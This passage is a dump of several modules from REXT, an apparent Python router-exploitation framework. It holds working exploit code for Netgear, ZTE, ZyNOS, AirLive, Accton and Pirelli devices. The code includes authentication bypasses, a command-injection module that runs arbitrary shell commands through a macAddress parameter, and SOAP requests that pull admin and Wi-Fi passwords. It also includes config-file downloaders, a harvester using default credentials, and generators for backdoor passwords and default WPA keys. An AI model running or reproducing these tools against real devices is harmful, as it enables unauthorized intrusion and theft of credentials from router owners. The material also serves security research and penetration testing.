requests.ConnectionError: 87 | print_error("exploit failed") 88 | Exploit() 89 | -------------------------------------------------------------------------------- /modules/exploits/netgear/rp614_auth_bypass.py: -------------------------------------------------------------------------------- 1 | # Name:Netgear RP614 authentication bypass 2 | # File:rp614_auth_bypass.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 4.2.2016 6 | # Last modified: 4.2.2016 7 | # Shodan Dork: 8 | # Description: Bypasses router authentication on Netgear RP614v3 and v2 9 | # seems to affect products which use Embedded HTTPD v1.00, 1999(c) Delta Networks Inc. 10 | # Based on: http://seclists.org/fulldisclosure/2016/Feb/35 11 | 12 | import core.Exploit 13 | import core.io 14 | 15 | import requests 16 | 17 | import interface.utils 18 | from interface.messages import print_error, print_success, print_help, print_info 19 | 20 | 21 | class Exploit(core.Exploit.RextExploit): 22 | """ 23 | Name:Netgear RP614 authentication bypass 24 | File:rp614_auth_bypass.py 25 | Author:Ján Trenčanský 26 | License: GNU GPL v3 27 | Created: 4.2.2016 28 | Description: Bypasses router authentication on Netgear RP614v3 and v2 29 | seems to affect products which use Embedded HTTPD v1.00, 1999(c) Delta Networks Inc. 30 | Based on: http://seclists.org/fulldisclosure/2016/Feb/35 31 | 32 | Options: 33 | Name Description 34 | 35 | host Target host 36 | port Target port 37 | file Filename which will be downloaded from target e.g. lanform.html 38 | """ 39 | file = "" 40 | 41 | def __init__(self): 42 | self.file = "lanform.html" 43 | core.Exploit.RextExploit.__init__(self) 44 | 45 | def do_set(self, e): 46 | args = e.split(' ') 47 | try: 48 | if args[0] == "host": 49 | if interface.utils.validate_ipv4(args[1]): 50 | self.host = args[1] 51 | else: 52 | print_error("please provide valid IPv4 address") 53 | elif args[0] == "port": 54 | if str.isdigit(args[1]): 55 | self.port = args[1] 56 | else: 57 | print_error("port value must be integer") 58 | elif args[0] == "file": 59 | self.file = args[1] 60 | except IndexError: 61 | print_error("please specify value for variable") 62 | 63 | def do_file(self, e): 64 | print_info(self.file) 65 | 66 | def help_file(self, e): 67 | print_help("Prints current value of file") 68 | 69 | def do_run(self, e): 70 | target = "http://%s:%s/%s" % (self.host, self.port, self.file) 71 | try: 72 | # We have to manually craft the request if you use requests.get it sents HEAD first 73 | # and the exploit won't work 74 | request = requests.Request('GET', target) 75 | r = request.prepare() 76 | s = requests.Session() 77 | response = s.send(r, timeout=30) 78 | s.close() 79 | 80 | if response.status_code == 200: 81 | print_success("writing to file%s" % self.file) 82 | core.io.writetextfile(response.text, self.file) 83 | else: 84 | print_error("exploit probably failed got response code %s" % response.status_code) 85 | 86 | except requests.RequestException: 87 | print_error("timeout!") 88 | 89 | Exploit() 90 | -------------------------------------------------------------------------------- /modules/exploits/netgear/wg102_exec.py: -------------------------------------------------------------------------------- 1 | # Name:Netgear WG102, WG103, WN604 and others remote code execution 2 | # File:wg102_exec.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 21.07.2016 6 | # Last modified: 21.07.2016 7 | # Shodan Dork: 8 | # Description: Command execution vulnerability for several Netgear devices listed below: 9 | # WG102, WG103 - no fix 10 | # WN604, WNDAP350, WNDAP360, WNAP320, WNAP210, WNDAP660, WNDAP620 - partial fix by adding authentication check 11 | # Based on: http://firmware.re/vulns/acsa-2015-001.php 12 | 13 | import core.Exploit 14 | import core.io 15 | 16 | import requests 17 | import interface.utils 18 | import datetime 19 | from interface.messages import print_error, print_success, print_help, print_info, \ 20 | print_warning 21 | 22 | 23 | class Exploit(core.Exploit.RextExploit): 24 | """ 25 | Name:Netgear WG102, WG103, WN604 and others remote code execution 26 | File:wg102_exec.py 27 | Author:Ján Trenčanský 28 | License: GNU GPL v3 29 | Created: 21.07.2016 30 | Description: Command execution vulnerability for several Netgear devices listed below: 31 | WG102, WG103 - no fix 32 | WN604, WNDAP350, WNDAP360, WNAP320, WNAP210, WNDAP660, WNDAP620 - partial fix by authentication check 33 | Based on: http://firmware.re/vulns/acsa-2015-001.php 34 | 35 | Options: 36 | Name Description 37 | 38 | host Target host address 39 | port Target port 40 | command Command to execute e.g. cat var/passwd 41 | """ 42 | command = "" 43 | files = ['boardDataWW.php', 'boardDataNA.php', 'boardDataJP', 'boardData102.php', 'boardData103.php'] 44 | 45 | def __init__(self): 46 | self.command = "lightttpd restart" 47 | core.Exploit.RextExploit.__init__(self) 48 | 49 | def do_set(self, e): 50 | args = e.split(' ') 51 | try: 52 | if args[0] == "host": 53 | if interface.utils.validate_ipv4(args[1]): 54 | self.host = args[1] 55 | else: 56 | print_error("please provide valid IPv4 address") 57 | elif args[0] == "port": 58 | if str.isdigit(args[1]): 59 | self.port = args[1] 60 | else: 61 | print_error("port value must be integer") 62 | elif args[0] == "command": 63 | self.command = ' '.join(args[1:]) 64 | except IndexError: 65 | print_error("please specify value for variable") 66 | 67 | def do_command(self, e): 68 | print_info(self.command) 69 | 70 | def help_command(self): 71 | print_help("Prints current value of command") 72 | 73 | def do_run(self, e): 74 | file = "" 75 | for file in self.files: 76 | print_info("Testing file: " + file) 77 | url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ 78 | "%s; echo #" % (self.host, self.port, file, "sleep 10") 79 | try: 80 | print_info("Doing timebased check with sleep 10") 81 | time_start = datetime.datetime.now() 82 | response = requests.get(url=url, timeout=60) 83 | time_end = datetime.datetime.now() 84 | delta = time_end - time_start 85 | if response.status_code == 200 and "Update Success!" in response.text: 86 | if 13 > delta.seconds > 9: 87 | print_success("Timebased check OK target should be vulnerable") 88 | else: 89 | print_warning("Timebased check failed, but target still might be vulnerable") 90 | break 91 | except requests.Timeout: 92 | print_error("timeout") 93 | except requests.ConnectionError: 94 | print_error("exploit failed") 95 | print_success("Vulnerable file:" + file) 96 | print_info("Sending command") 97 | url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ 98 | "%s; echo #" % (self.host, self.port, file, self.command) 99 | try: 100 | response = requests.get(url=url, timeout=60) 101 | if response.status_code == 200 and "Update Success!" in response.text: 102 | print_success("command sent") 103 | except requests.Timeout: 104 | print_error("timeout") 105 | except requests.ConnectionError: 106 | print_error("target stopped responding or you issued reboot or killed lighttpd") 107 | Exploit() 108 | -------------------------------------------------------------------------------- /modules/exploits/netgear/wndr_auth_bypass.py: -------------------------------------------------------------------------------- 1 | # Name:Netgear WNDR Authentication Bypass / Information disclosure 2 | # File:wndr_auth_bypass.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 24.12.2015 6 | # Last modified: 24.12.2015 7 | # Shodan Dork: 8 | # Description: Command execution vulnerability for: 9 | # WNDR3700v4 - V1.0.0.4SH, WNDR3700v4 - V1.0.1.52, WNR2200 - V1.0.1.88, 10 | # WNR2500 - V1.0.0.24, WNDR3700v2 - V1.0.1.14, WNDR3700v1 - V1.0.16.98, 11 | # WNDR3700v1 - V1.0.7.98, WNDR4300 - V1.0.1.60, R6300v2 - V1.0.3.8, 12 | # WNDR3300 - V1.0.45, WNDR3800 - V1.0.0.48, WNR1000v2 - V1.0.1.1, 13 | # WNR1000v2 - V1.1.2.58, WNR2200 - V1.0.1.76, WNR2000v3 - v1.1.2.6, 14 | # WNR2000v3 - V1.1.2.10, R7500 - V1.0.0.82 15 | # Based on: https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR 16 | import traceback 17 | 18 | import core.Exploit 19 | import core.io 20 | 21 | import requests 22 | import re 23 | import interface.utils 24 | from interface.messages import print_error, print_warning, print_info 25 | 26 | 27 | class Exploit(core.Exploit.RextExploit): 28 | """ 29 | Name:Netgear WNDR Authentication Bypass / Information disclosure 30 | File:wndr_auth_bypass.py 31 | Author:Ján Trenčanský 32 | License: GNU GPL v3 33 | Created: 24.12.2015 34 | Description: Command execution vulnerability for: 35 | WNDR3700v4 - V1.0.0.4SH, WNDR3700v4 - V1.0.1.52, WNR2200 - V1.0.1.88, 36 | WNR2500 - V1.0.0.24, WNDR3700v2 - V1.0.1.14, WNDR3700v1 - V1.0.16.98, 37 | WNDR3700v1 - V1.0.7.98, WNDR4300 - V1.0.1.60, R6300v2 - V1.0.3.8, 38 | WNDR3300 - V1.0.45, WNDR3800 - V1.0.0.48, WNR1000v2 - V1.0.1.1, 39 | WNR1000v2 - V1.1.2.58, WNR2200 - V1.0.1.76, WNR2000v3 - v1.1.2.6, 40 | WNR2000v3 - V1.1.2.10, R7500 - V1.0.0.82 41 | Based on: https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR 42 | 43 | Options: 44 | Name Description 45 | 46 | host Target host address 47 | port Target port 48 | """ 49 | 50 | def __init__(self): 51 | core.Exploit.RextExploit.__init__(self) 52 | 53 | def do_run(self, e): 54 | url = "http://%s:%s/" % (self.host, self.port) 55 | 56 | # Headers with SOAP requests 57 | headers = {"SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo"} 58 | headers1 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"} 59 | headers2 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo"} 60 | headers3 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys"} 61 | headers4 = {"SOAPAction": "urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetAttachDevice"} 62 | 63 | payload = {"": ""} # Empty form will cause that the auth is bypassed 64 | 65 | # This is a very stupid way to parse XML but xml.etree is not playing nice with SOAP and 66 | # I don't feel like adding lxml into dependencies just for this module 67 | striptag = re.compile(r'<.*?>') 68 | try: 69 | print_warning("Sending exploit") 70 | 71 | # Request DeviceInfo 72 | response = requests.post(url, headers=headers, data=payload, timeout=60) 73 | if response.status_code != 200: 74 | raise requests.ConnectionError 75 | print_info("Writing response to DeviceInfo.xml") 76 | core.io.writetextfile(response.text, "DeviceInfo.xml") 77 | print_info("Parsing response") 78 | regex = re.search("(.*)", response.text) 79 | regex2 = re.search("(.*)", response.text) 80 | regex3 = re.search("(.*)", response.text) 81 | try: 82 | description = striptag.sub('', regex.group(1)) 83 | serial_number = striptag.sub('', regex2.group(1)) 84 | firmware = striptag.sub('', regex3.group(1)) 85 | print("Device: %s" % description) 86 | print("Serial number: %s" % serial_number) 87 | print("FW version: %s" % firmware) 88 | except IndexError: 89 | print_error("opps unable to locate this regular expression") 90 | 91 | # Request web UI password 92 | response = requests.post(url, headers=headers1, data=payload, timeout=60) 93 | if response.status_code != 200: 94 | raise requests.ConnectionError 95 | print_info("Writing response to LANConfigSecurity.xml") 96 | core.io.writetextfile(response.text, "LANConfigSecurity.xml") 97 | print_info("Parsing response") 98 | regex = re.search("(.*)", response.text) 99 | try: 100 | password = striptag.sub('', regex.group(1)) 101 | print("Password: %s" % password) 102 | except IndexError: 103 | print_error("opps unable to locate this regular expression") 104 | 105 | # Request WLAN info 106 | response = requests.post(url, headers=headers2, data=payload, timeout=60) 107 | if response.status_code != 200: 108 | raise requests.ConnectionError 109 | print_info("Writing response to WLANConfiguration.xml") 110 | core.io.writetextfile(response.text, "WLANConfiguration.xml") 111 | print_info("Parsing response") 112 | regex = re.search("(.*)", response.text) 113 | regex2 = re.search("(.*)", response.text) 114 | try: 115 | ssid = regex.group(1) 116 | ssid = striptag.sub('', ssid) 117 | wlan_encryption = striptag.sub('', regex2.group(1)) 118 | print("SSID: " + ssid) 119 | print("Encryption: %s" % wlan_encryption) 120 | except IndexError: 121 | print_error("opps unable to locate this regular expression") 122 | 123 | # Wlan password 124 | response = requests.post(url, headers=headers3, data=payload, timeout=60) 125 | if response.status_code != 200: 126 | raise requests.ConnectionError 127 | print_info("Writing response to WLANConfigurationGetWPASecurityKeys.xml") 128 | core.io.writetextfile(response.text, "WLANConfigurationGetWPASecurityKeys.xml") 129 | print_info("Parsing response") 130 | regex = re.search("(.*)", response.text) 131 | try: 132 | wlan_password = striptag.sub('', regex.group(1)) 133 | print("Passphrase: %s" % wlan_password) 134 | except IndexError: 135 | print_error("opps unable to locate this regular expression") 136 | 137 | # Attached devices 138 | response = requests.post(url, headers=headers4, data=payload, timeout=60) 139 | if response.status_code != 200: 140 | raise requests.ConnectionError 141 | print_info("Writing response to DeviceInfoGetAttachDevice.xml") 142 | core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml") 143 | print_info("Parsing response") 144 | regex = re.search("(.*)", response.text) 145 | try: 146 | devices = striptag.sub('', regex.group(1)) 147 | devices = devices.split('@')[1:] # First element is number of records 148 | for device in devices: 149 | device = device.split(";") 150 | print("ID: %s" % device[0]) 151 | print("IP: %s" % device[1]) 152 | print("Name: %s" % device[2]) 153 | print("MAC: %s" % interface.utils.lookup_mac(device[3])) 154 | print("Connection type: %s" % device[4]) 155 | except IndexError: 156 | print_error("opps unable to locate this regular expression") 157 | 158 | except requests.ConnectionError as e: 159 | print_error("lost connection ") 160 | traceback.print_tb(e) 161 | except requests.Timeout: 162 | print_error("timeout") 163 | Exploit() 164 | -------------------------------------------------------------------------------- /modules/exploits/zte/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/exploits/zte/f660_config_download.py: -------------------------------------------------------------------------------- 1 | # Name:ZTE F660 remote config download 2 | # File:f660_config_download.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 25.12.2015 6 | # Last modified: 25.12.2015 7 | # Shodan Dork: 8 | # Description: ZTE F660 firmware Version: 2.22.21P1T8S does not check Cookies And Credentials on POST 9 | # Based on: https://www.exploit-db.com/exploits/36978/ 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | from interface.messages import print_error, print_success, print_warning, print_info 16 | 17 | 18 | class Exploit(core.Exploit.RextExploit): 19 | """ 20 | Name:ZTE F660 remote config download 21 | File:f660_config_download.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 25.12.2015 25 | Description: ZTE F660 firmware Version: 2.22.21P1T8S does not check Cookies And Credentials on POST 26 | Based on: https://www.exploit-db.com/exploits/36978/ 27 | 28 | Options: 29 | Name Description 30 | 31 | host Target host address 32 | port Target port 33 | """ 34 | 35 | def __init__(self): 36 | core.Exploit.RextExploit.__init__(self) 37 | 38 | def do_run(self, e): 39 | url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port) 40 | 41 | try: 42 | print_warning("Sending exploit") 43 | # It took me longer than necessary to find out how to use Content-Disposition properly 44 | # Always set stream=True otherwise you may not get the whole file 45 | response = requests.post(url, files={'config': ''}, timeout=60, stream=True) 46 | if response.status_code == 200: 47 | if response.headers.get('Content-Disposition'): 48 | print_success("got file in response") 49 | print_info("Writing file to config.bin") 50 | core.io.writefile(response.content, "config.bin") 51 | print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML") 52 | except requests.ConnectionError as e: 53 | print_error("connection error %s" % e) 54 | except requests.Timeout: 55 | print_error("timeout") 56 | Exploit() 57 | -------------------------------------------------------------------------------- /modules/exploits/zyxel/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/exploits/zyxel/rom-0.py: -------------------------------------------------------------------------------- 1 | # Name:ZyNOS rom-0 config file download 2 | # File:rom-0.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 9.2.2014 6 | # Last modified: 9.2.2014 7 | # Shodan Dork: 8 | # Description: Exploits rom-0 vulnerability in ZyNOS, downloads rom-0 file that can be decrypted to obtain config file 9 | # also checks if FWUpload.html is accessible without credentials 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | from interface.messages import print_error, print_success, print_failed, print_info 16 | 17 | 18 | class Exploit(core.Exploit.RextExploit): 19 | """ 20 | Name:ZyNOS rom-0 config file download 21 | File:rom-0.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 9.2.2014 25 | Description: Exploits rom-0 vulnerability in ZyNOS, downloads rom-0 file that can be decrypted to obtain config file 26 | also checks if FWUpload.html is accessible without credentials 27 | 28 | Options: 29 | Name Description 30 | 31 | host Target host address 32 | port Target port 33 | """ 34 | def __init__(self): 35 | core.Exploit.RextExploit.__init__(self) 36 | 37 | def do_run(self, e): 38 | target = "http://" + self.host + ":" + self.port 39 | try: 40 | response = requests.get(target + "/rom-0", timeout=60) 41 | content_type = 'application/octet-stream' 42 | if response.status_code == requests.codes.ok and response.headers.get('Content-Type') == content_type: 43 | print_success("got rom-0 file, size:" + str(len(response.content))) 44 | core.io.writefile(response.content, "rom-0") 45 | else: 46 | print_error("failed") 47 | print_info("Checking if rpFWUpload.html is available") 48 | response = requests.get(target + "/rpFWUpload.html", timeout=60) 49 | if response.status_code == requests.codes.ok: 50 | print_success("rpFWUpload.html is accessible") 51 | else: 52 | print_failed("rpFWUpload.html is not accessible") 53 | except requests.RequestException: 54 | print_error("timeout!") 55 | 56 | Exploit() 57 | -------------------------------------------------------------------------------- /modules/harvesters/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/modules/harvesters/__init__.py -------------------------------------------------------------------------------- /modules/harvesters/airlive/WT2000ARM.py: -------------------------------------------------------------------------------- 1 | # Name:Airlive WT-2000ARM information harvester module 2 | # File:WT2000ARM.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 29.8.2013 6 | # Last modified: 24.12.2016 7 | # Shodan Dork: WWW-Authenticate: Basic realm="AirLive WT-2000ARM 8 | # Description: Module will fetch PPPoE/PPPoA credentials and WLAN credentials also MAC address filter values 9 | # First module of REXT ever 10 | 11 | 12 | import requests 13 | import requests.exceptions 14 | import bs4 15 | import core.Harvester 16 | from interface.messages import print_success, print_error, print_info, print_help 17 | import interface.utils 18 | 19 | 20 | class Harvester(core.Harvester.RextHarvester): 21 | """ 22 | Name:Airlive WT-2000ARM information harvester module 23 | File:WT2000ARM.py 24 | Author:Ján Trenčanský 25 | License: GNU GPL v3 26 | Created: 29.8.2013 27 | Description: Module will fetch PPPoE/PPPoA credentials and WLAN credentials also MAC address filter values 28 | 29 | Options: 30 | Name Description 31 | 32 | host Target host address 33 | port Target port 34 | username Target username 35 | password Target password 36 | """ 37 | 38 | username = 'admin' 39 | password = 'airlive' 40 | 41 | def __init__(self): 42 | core.Harvester.RextHarvester.__init__(self) 43 | 44 | def do_set(self, e): 45 | args = e.split(' ') 46 | try: 47 | if args[0] == "host": 48 | if interface.utils.validate_ipv4(args[1]): 49 | self.host = args[1] 50 | else: 51 | print_error("please provide valid IPv4 address") 52 | elif args[0] == "port": 53 | if str.isdigit(args[1]): 54 | self.port = args[1] 55 | else: 56 | print_error("port value must be integer") 57 | elif args[0] == "username": 58 | self.username = args[1] 59 | elif args[0] == "password": 60 | self.password = args[1] 61 | except IndexError: 62 | print_error("please specify value for variable") 63 | 64 | def do_password(self, e): 65 | print_info(self.password) 66 | 67 | def help_password(self): 68 | print_help("Prints current value of password") 69 | 70 | def help_username(self): 71 | print_info("Prints current value of username") 72 | 73 | def do_username(self, e): 74 | print_info(self.username) 75 | 76 | def do_run(self, e): 77 | try: 78 | print_info("Connecting to:", self.host) 79 | auth = (self.username, self.password) 80 | response = requests.get("http://"+self.host+"/basic/home_wan.htm", auth=auth, timeout=60) 81 | # headers, body = http.request("http://"+self.target+"/basic/home_wan.htm") 82 | if response.status_code == 200: 83 | print_success("Authentication successful") 84 | ppp_credentials = self.fetch_ppp(response.text) 85 | print_success("PPPoE/PPPoA Username:", ppp_credentials[0]) 86 | print_success("PPPoE/PPPoA Password", ppp_credentials[1]) 87 | response = requests.get("http://"+self.host+"/basic/home_wlan.htm", auth=auth, timeout=60) 88 | if response.status_code == 200: 89 | wlan_credentials = self.fetch_wlan(response.text) 90 | print_success("ESSID:", wlan_credentials[0]) 91 | print_success("PSK:", wlan_credentials[1]) 92 | for mac in wlan_credentials[2]: 93 | print_success("MAC filter:", mac) 94 | else: 95 | print_error("Status code:", response.status_code) 96 | elif response.status_code == 401: 97 | print_error("401 Authentication failed") 98 | elif response.status_code == 404: 99 | print_error("404 Page does not exists") 100 | else: 101 | print_error("Status code:", response.status_code) 102 | except requests.exceptions.Timeout: 103 | print_error("Timeout!") 104 | except requests.exceptions.ConnectionError: 105 | print_error("No route to host") 106 | 107 | def fetch_ppp(self, body): 108 | wan_page_soap = bs4.BeautifulSoup(body, 'html.parser') 109 | inputs = wan_page_soap.find_all("input") 110 | ppp_username = "" 111 | ppp_password = "" 112 | for i in inputs: 113 | if i['name'] == "wan_PPPUsername": 114 | ppp_username = i['value'] 115 | elif i['name'] == "wan_PPPPassword": 116 | ppp_password = i['value'] 117 | return ppp_username, ppp_password 118 | 119 | def fetch_wlan(self, body): 120 | wan_page_soap = bs4.BeautifulSoup(body, 'html.parser') 121 | inputs = wan_page_soap.find_all("input") 122 | essid = "" 123 | wlan_psk = None 124 | mac_filter_list = [] 125 | for i in inputs: 126 | if i['name'] == "ESSID": 127 | essid = i['value'] 128 | elif i['name'] == "PreSharedKey": 129 | wlan_psk = i['value'] 130 | elif i['name'] == "WLANFLT_MAC": 131 | mac_filter_list.append(i['value']) 132 | return essid, wlan_psk, mac_filter_list 133 | 134 | Harvester() 135 | -------------------------------------------------------------------------------- /modules/harvesters/airlive/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/modules/harvesters/airlive/__init__.py -------------------------------------------------------------------------------- /modules/misc/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/modules/misc/__init__.py -------------------------------------------------------------------------------- /modules/misc/accton/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/accton/switch_backdoor_gen.py: -------------------------------------------------------------------------------- 1 | # Name:Accton-based switches (3com, Dell, SMC, Foundry and EdgeCore) - Backdoor Password 2 | # File:switch_backdoor_gen.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 29.3.2015 6 | # Last modified: 29.3.2015 7 | # Shodan Dork: 8 | # Description: The Accton company builds switches, which are rebranded and sold by several manufacturers. 9 | # The backdoor password can be calculated if you have the switch MAC-address. 10 | # Based on http://www.exploit-db.com/exploits/14875/ and routerpwn.com 11 | 12 | import core.Misc 13 | import core.io 14 | from interface.utils import validate_mac, lookup_mac 15 | from interface.messages import print_success, print_error, print_help, print_info 16 | 17 | 18 | class Misc(core.Misc.RextMisc): 19 | """ 20 | Name:Accton-based switches (3com, Dell, SMC, Foundry and EdgeCore) - Backdoor Password 21 | File:switch_backdoor_gen.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 29.3.2015 25 | Description: The Accton company builds switches, which are rebranded and sold by several manufacturers. 26 | The backdoor password can be calculated if you have the switch MAC-address. 27 | Based on http://www.exploit-db.com/exploits/14875/ and routerpwn.com 28 | 29 | Options: 30 | Name Description 31 | 32 | mac MAC address used as input for password generation 33 | """ 34 | mac = "00:00:00:00:00" 35 | password = "" 36 | 37 | def __init__(self): 38 | core.Misc.RextMisc.__init__(self) 39 | 40 | def do_set(self, e): 41 | args = e.split(' ') 42 | if args[0] == "mac": 43 | if validate_mac(args[1]): 44 | self.mac = args[1] 45 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 46 | else: 47 | print_error("provide valid MAC address") 48 | 49 | def do_mac(self, e): 50 | print_info(self.mac) 51 | 52 | def help_set(self): 53 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 54 | 55 | def help_mac(self): 56 | print_help("Prints value of variable MAC") 57 | 58 | def do_run(self, e): 59 | mac_array = self.mac.split(":") 60 | counter = 0 61 | for i in mac_array: 62 | mac_array[counter] = int(i, 16) 63 | counter += 1 64 | 65 | counter = 0 66 | while counter < 5: 67 | char = mac_array[counter] + mac_array[counter+1] 68 | self.printchar(char) 69 | counter += 1 70 | 71 | counter = 0 72 | while counter < 3: 73 | char = mac_array[counter] + mac_array[counter+1] + 0xF 74 | self.printchar(char) 75 | counter += 1 76 | print_success('credentials generated') 77 | print("Username: __super") 78 | print("Password: " + self.password) 79 | 80 | def printchar(self, char): 81 | char %= 0x4B 82 | if char <= 9 or (char > 0x10 and char < 0x2a) or char > 0x30: 83 | self.password += chr(char + 0x30) 84 | else: 85 | self.password += "!" 86 | 87 | Misc() 88 | -------------------------------------------------------------------------------- /modules/misc/adb/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/adb/a1_default_wpa_key.py: -------------------------------------------------------------------------------- 1 | # Name:A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness 2 | # File:a1_default_wpa_key.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 17.2.2014 6 | # Last modified: 17.2.2014 7 | # Shodan Dork: 8 | # Description: Generates WPA key for ADB PRG EAV4202N used by A1/Telekom in Austria 9 | # Based on work of Stefan Viehboeck 10 | # https://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/ 11 | 12 | import core.Misc 13 | import core.io 14 | from interface.utils import validate_mac, lookup_mac 15 | from interface.messages import print_success, print_error, print_help, print_info 16 | 17 | import re 18 | import hashlib 19 | 20 | 21 | class Misc(core.Misc.RextMisc): 22 | """ 23 | Name:A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness 24 | File:a1_default_wpa_key.py 25 | Author:Ján Trenčanský 26 | License: GNU GPL v3 27 | Created: 17.2.2014 28 | Description: Generates WPA key for ADB PRG EAV4202N used by A1/Telekom in Austria 29 | Based on: Work of Stefan Viehboeck https://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/ 30 | 31 | Options: 32 | Name Description 33 | 34 | mac MAC address used as input for password generation 35 | """ 36 | mac = "00:00:00:00:00" 37 | 38 | def __init__(self): 39 | core.Misc.RextMisc.__init__(self) 40 | 41 | def do_set(self, e): 42 | args = e.split(' ') 43 | if args[0] == "mac": 44 | if validate_mac(args[1]): 45 | self.mac = args[1] 46 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 47 | else: 48 | print_error("provide valid MAC address") 49 | 50 | def do_mac(self, e): 51 | print_info(self.mac) 52 | 53 | def help_set(self): 54 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 55 | 56 | def help_mac(self): 57 | print_help("Prints value of variable MAC") 58 | 59 | def do_run(self, e): 60 | mac_str = re.sub(r'[^a-fA-F0-9]', '', self.mac) 61 | bytemac = bytearray.fromhex(mac_str) 62 | print_success("Key generated") 63 | print('based on rg_mac:\nSSID: PBS-%02X%02X%02X' % (bytemac[3], bytemac[4], bytemac[5])) 64 | print('WPA key: %s\n' % (self.gen_key(bytemac))) 65 | 66 | bytemac[5] -= 5 67 | print('based on BSSID:\nSSID: PBS-%02X%02X%02X' % (bytemac[3], bytemac[4], bytemac[5])) 68 | print('WPA key: %s\n' % (self.gen_key(bytemac))) 69 | 70 | #This part is work of Stefan Viehboeck (ported to py3) 71 | def gen_key(self, mac): 72 | seed = (b'\x54\x45\x4F\x74\x65\x6C\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + 73 | b'\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x94\x3F\xDC\xE8') 74 | lookup = '0123456789ABCDEFGHIKJLMNOPQRSTUVWXYZabcdefghikjlmnopqrstuvwxyz' 75 | 76 | h = hashlib.sha256() 77 | h.update(seed) 78 | h.update(mac) 79 | digest = bytearray(h.digest()) 80 | return ''.join([lookup[x % len(lookup)] for x in digest[0:13]]) 81 | Misc() -------------------------------------------------------------------------------- /modules/misc/adb/alice_cpe_backdoor.py: -------------------------------------------------------------------------------- 1 | # Name:Alice Telecom Italia CPE Modem/Routers Pirelli (now ADB) backdoor hash payload generator 2 | # File:alice_cpe_backdoor.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 17.2.2014 6 | # Last modified: 17.2.2014 7 | # Shodan Dork: 8 | # Description: Generates payload with hash, needed to activate telnet, ftp, tftp and webadmin interface 9 | # You still have to send IP packet with the payload to the router 10 | # The ip packet send to router must have the following feature: 11 | # 1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router) 12 | # 2)Payload size 8 byte 13 | # 3)The payload are the first 8 byte of a salted md5 of the mac address of device br0 14 | # 4)br0 in these modems has the same mac of eth0 15 | # You can send it with nemesis (nemesis ip -D 192.168.1.1 -p 255 -P payload.hex) 16 | # Based on work of saxdax and drPepperOne 17 | # http://saxdax.blogspot.com/2009/01/backdoor-on-telecom-italia-pirelli.html 18 | # Note: This would make a nice exploit (with ability to send the packet) but I don't have a device for testing. 19 | 20 | import core.Misc 21 | import core.io 22 | from interface.utils import validate_mac, lookup_mac 23 | from interface.messages import print_success, print_error, print_help, print_info 24 | 25 | import re 26 | import hashlib 27 | from binascii import hexlify 28 | 29 | 30 | class Misc(core.Misc.RextMisc): 31 | """ 32 | Name:Alice Telecom Italia CPE Modem/Routers Pirelli (now ADB) backdoor hash payload generator 33 | File:alice_cpe_backdoor.py 34 | Author:Ján Trenčanský 35 | License: GNU GPL v3 36 | Created: 17.2.2014 37 | Description: Generates payload with hash, needed to activate telnet, ftp, tftp and webadmin interface 38 | You still have to send IP packet with the payload to the router 39 | The ip packet send to router must have the following feature: 40 | 1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router) 41 | 2)Payload size 8 byte 42 | 3)The payload are the first 8 